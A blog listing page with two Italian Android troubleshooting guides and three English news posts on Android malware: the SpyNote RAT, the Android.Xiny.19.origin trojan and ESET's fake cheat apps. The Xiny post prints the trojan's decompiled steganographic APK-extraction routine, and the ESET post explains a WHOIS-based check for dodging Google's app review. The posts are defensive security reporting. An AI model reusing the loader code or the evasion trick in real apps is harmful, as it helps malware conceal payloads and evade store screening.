Showing posts with label Google Play Store. Show all posts
Showing posts with label Google Play Store. Show all posts

Tuesday, February 7, 2017

[Guida] Come risolvere l'errore della fotocamera Android

La fotocamera è probabilmente una delle funzioni del nostro smartphone che utilizziamo più spesso, ma cosa succede quando questa vi da spesse volte errore e non funziona?

Noi di TuttoxAndroid abbiamo analizzato il problema cercando ogni possibile soluzione e siamo giunti a varie conclusioni che dovrebbero risolvere questo fastidioso errore.




L'errore della fotocamera è molto comune e può presentarsi in più modi: 

  1. Avviso: Errore fotocamera
  2. Errore: Impossibile accedere alla fotocamera
  3. L'applicazione fotocamera ha smesso di funzionare
Purtroppo gli errori non hanno una soluzione fissa, quindi dovrete provare o analizzare ogni caso per trovare la soluzione.

Vi consiglio di leggere tutto l'articolo prima di andare per tentativi.


Riavviare il dispositivo

Può sembrare banale, ma è solitamente il metodo che funziona per qualunque terminale e che spesso riesce a risolvere il problema.


Bug dopo l'aggiornamento

Spesso può capitare che un aggiornamento possa causare problemi al nostro device, per qualche errore durante l'installazione o per un bug di programmazione.

In questo caso avete due possibilità:
  1. Ripristinale i dati di fabbrica 
  2. Attendere un nuovo aggiornamento che risolva il problema.
Sicuramente prima di ripristinare il dispositivo vi converrà aspettare qualche giorno o almeno informarvi se l'errore è comune dopo l'upgrade.


Cancellare i dati e la cache dell'app fotocamera

Cancellare i dati e svuotare la Cache può essere utile a volte.

Per farlo basta andare in: Impostazioni>Applicazioni>Fotocamera>Elimina dati e svuota la cache


Conflitto con altre applicazioni
Può capitare che alcune applicazioni che utilizzano la fotocamera o la sostituiscono possano creare conflitti ed errori all'interno dell'app principale.

Quindi provate a ricordare se prima dell'errore avete installato applicazioni che possa creare problemi e se cosi fosse disinstallatela.


Cambio applicazione fotocamera

Se l'errore persiste e non potete rinunciare alla vostra fotocamera potreste provare ad installare un applicazione che controlli la fotocamera al posto della principale, come Manual Camera che purtroppo non è presente sul Google Play Store e non è compatibile con tutti i terminali.

Ovviamente ci sono molte altre applicazioni che potrete cercare sullo store ufficiale, basta ricercare "Camera" o "Fotocamera" e scegliere quella più adatta alle vostre esigenze.

Se nemmeno questo metodo funzionerà dovrete passare alle maniere forti.


Ripristino ai dati di fabbrica 

Le soluzioni più drastiche nella maggior parte dei casi sono le migliori, se nessuno dei metodi elencati prima dovesse funzionare allora l'ultima soluzione è proprio quella di far partire da zero il vostro device.

Per farlo andate in: Impostazioni>Backup e ripristino>Ripristino dati di fabbrica e seguite la procedura.

Al riavvio il terminale sarà come nuovo e quasi sicuramente l'errore sarà sparito.


Se la guida vi è stata utile commentate e condividete l'articolo.




Fonte

Thursday, February 2, 2017

[Guida] Come risolvere l'errore Android 403 (Google Play Store)

Le nostre guide sulla risoluzione di errori Android continuano, questa volta con l'errore 403 che come già visto con gli errori 906, 907, 963 e 905 si presenta nel Google Play Store.

Continuate nella lettura della guida per scoprire come fixare l'errore 403




L'errore Android 403 si presenta quando due account sono sincronizzati contemporaneamente sullo stesso dispositivo Android e dopo aver effettuato un acquisto risulterà impossibile installare l'app.

La soluzione è molto semplice:

Accedete al Play Store con l'account giusto.

Disinstallate l'app problematica.

Reinstallate/Comprate l'applicazione.

Perfetto, adesso il problema dovrebbe essere risolto!


Se la guida vi è stata utile commentate e condividete l'articolo.

Friday, July 29, 2016

SpyNote Android Trojan Builder Leaked Is Now Widely Available On The Dark Web

Palo Alto Networks’ Unit 42 team recently discovered a new Android Trojan called SpyNote which facilitates remote spying.Unit 42 discovered the Trojan while monitoring malware discussion forums. 

SpyNote is similar to OmniRat and DroidJack, which are RATs (Remote Administration Tools) that allow malware owners to gain remote administrative control of an Android device.
Droidjack made news earlier this month when researchers at Proofpoint found a rigged version of the massively popular game Pokémon Go with the Trojan. OmniRat is similar in function and was first spotted in Germany in November by researchers who said targeted victims received a text message asking them to download an app to view an image.

The Trojan, found has not been spotted in any active campaigns but warn that attacks are forthcoming.

SpyNote has many features that includes the following:
  1.     No root access required
  2.     Install new APKs and update the malware
  3.     Copy files from device to computer
  4.     View all messages on the device
  5.     Listen to calls made on the device
  6.     List all the contacts on the device
  7.     Listen live or record audio from the device’s microphone
  8.     Gain control of the camera on the device
  9.     Get IMEI number, Wi-Fi MAC address, and cellphone carrier details
  10.     Get the device’s last GPS location
  11.     Make calls on the device

Upon installation, SpyNote will remove the application’s icon from the victim’s device.The SpyNote APK requires victims to accept and give SpyNote many permissions, including the ability to edit text messages, read call logs and contacts, or modify or delete the contents of the SD card.
Once installed, SpyNote is hard to get rid off.

 The SpyNote builder application is developed in .NET
The application is neither obfuscated nor protected with any Obfuscator or Protector.




The above video is a demo a user appears to be running SpyNote showing a remote takeover of an Android device.

Unit 42 Team States that, The uploader might be following the instructions described in YouTube videos on using SpyNote, considering the port number used is exactly the same as in the videos and the uploader only changes the icon of the APK file .
SpyNote is configured to communicate with a command and control server via IP address via TCP using hard-coded SERVER_IP and SERVER_PORT values. That has given researchers the ability to extract C2 information from the malware. 

 
Unit 42 asserts, Installing apps from third-party sources can be very risky — those sources often lack the governance provided by official sources such as the Google Play Store, which, even with detailed procedures and algorithms to weed out malicious applications, is not impregnable. Side-loading apps from questionable sources exposes users devices to a variety of malware and possible data loss.

Thus far we have not observed SpyNote used in active attacks but we suspect cyber criminals will begin using it as the building of SpyNote is freely available. 

Wednesday, February 3, 2016

Researcher Found Dozens of Games on Google PlayStore Infected By Trojan

Russian anti-virus company Dr Web published a blog post about Android.Xiny.19.origin, malware which has incorporated itself into more than 60 Android-based games developed by Conexagon Studio, Fun Color Games, BILLAPPS, and some 30 other companies. 








This new Android trojan that has targeted dozens of games in the official Google Play Store relies on steganography to dynamically run arbitrary APK files.

If you have download and use Android gaming applications on your device from these developers, then this part might frighten you slightly.

The Trojan is designed to download, install, and run programs upon receiving a command from cybercriminals. Besides, it can display annoying advertisements.

The infection process begins as soon as the user begins playing the game, the Trojan is performing its malicious activity.

Android.Xiny.19.origin  

Android.Xiny.19.origin sends the following information to the command and control server:
  • IMEI identifier
  • IMSI identifier
  • Information about the mobile operator
  • Presence of a memory card in a device
  • Country
  • Language
  • MAC address
  • Version of the operating system
  • Package name and a version of an application that the Trojan is incorporated into
  • Presence of the malicious application in the system folder
The Trojan can execute the following actions:
  • Displays annoying advertisements
  • Downloads applications and prompts a user to install various software
  • Installs and deletes programs if root access is available on a device
  • Launches arbitrary apk files hidden in images received from the C&C server
The way apk files are launched looks as follows: Android.Xiny.19.origin downloads a specially created image, which contains the corresponding file object hidden with the help of steganography, from the server. Then the Trojan retrieves the apk file using a special algorithm:

Code Expand source
package com.wch.c_direct.encrypt.logic;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import com.wch.c_direct.logic.a;
import java.io.InputStream;
import java.util.Arrays;
public final class BitmapDecryptor {
public static byte[] decrypt(InputStream inputStream) {
int i5;
int i = 4;
int i1 = 8;
a.a();
Bitmap bitmap0 = BitmapFactory.decodeStream(inputStream);
bitmap0.setHasAlpha(true);
byte[] buffer1 = new byte[i1];
int i2 = 0;
int i3 = 0;
int i4 = 0;
while(i2 < buffer1.length) {
i5 = bitmap0.getPixel(i4, i3);
buffer1[i2] = ((byte)(i5 >> 16 & 15));
if(i2 + 1 < i1) {
buffer1[i2 + 1] = ((byte)(i5 >> 8 & 15));
}
if(i2 + 2 < i1) {
buffer1[i2 + 2] = ((byte)(i5 & 15));
}
++i4;
if(i4 == bitmap0.getWidth()) {
++i3;
i4 = 0;
}
i2 += 3;
}
byte[] buffer2 = BitmapDecryptor.a(buffer1);
i2 = 0;
i3 = 0;
while(i2 < i) {
i3 = i3 << 8 | buffer2[i2] & 255;
++i2;
}
buffer1 = new byte[i3 * 8 / 4];
i2 = 0;
i3 = 0;
i4 = 0;
while(i2 < buffer1.length) {
i5 = bitmap0.getPixel(i4, i3);
buffer1[i2] = ((byte)(i5 >> 16 & 15));
if(i2 + 1 < buffer1.length) {
buffer1[i2 + 1] = ((byte)(i5 >> 8 & 15));
}
if(i2 + 2 < buffer1.length) {
buffer1[i2 + 2] = ((byte)(i5 & 15));
}
++i4;
if(i4 == bitmap0.getWidth()) {
++i3;
i4 = 0;
}
i2 += 3;
}
byte[] decrypted = BitmapDecryptor.a(buffer1);
bitmap0.recycle();
return Arrays.copyOfRange(decrypted, i, decrypted.length);
}
private static byte[] a(byte[] inBuffer) {
a.a();
byte[] outBuffer = new byte[inBuffer.length / 2];
int i;
for(i = 0; i < outBuffer.length; ++i) {
int i1;
for(i1 = 0; i1 < 2; ++i1) {
outBuffer[i] = ((byte)(outBuffer[i] << 4 | inBuffer[i * 8 / 4 + i1]));
}
}
return outBuffer;
}
}
After that, the malicious application loads the file into RAM of the infected device using the DexClassLoader class.


For Now, Dr.Web says that Google has been notified about the issue & failed to take down the apps it reported as infected with Android.Xiny.
So Users just be careful before downloading any apps from PlayStore unless you have a Anti-Virus Program installed on your device.

Source: Dr.Web

Friday, October 9, 2015

ESET Disclosed Fake Android Apps That Bypasses Google Play Store Security Check




ESET unveiled fake apps available at the official Google app store. posing as trendy game cheats, like Cheats for Pou, Guide for SubWay and Cheats for SubWay, these fake apps were installed in quite 200,000 times during a single month, as per ESET security researchers.

The apps deliberately show adverts 30-40 minutes, disrupting traditional use of users’ android devices.

The fake apps, detected as Android/AdDisplay.Cheastom, deploy various techniques to evade detection by Google bouncer - the technology Google uses to stop malicious apps from getting into the Google Play store. additionally, the apps contain self-preservation code to create their removal problematic.

“These aggressive ad-displaying apps plan to hide their capability from security analyst by deploying techniques, that succeeded in being downloaded over 200K times during a single month,” said by Lukas Stefanko, Malware analyst at ESET.

“The anti-Bouncer technique utilized by these apps obtains the ip address of device and accesses its WHOIS record. If the data came back contains the string ‘Google’, then the app assumes it's running in bouncer. When the app detect an emulator or Google bouncer setting, the ads don't seem to be displayed. Instead, the app will merely give game cheats, obviously.”

ESET notified Google and these unwanted applications have currently been taken off from the Google store.

“Although it’s great that Google removed the apps from the android Google Play store when we enlightened them of the problem, it's clear that a lot of attempts are going to be created to bypass Google bouncer and spread apps containing undesirable code,” said by Stefanko.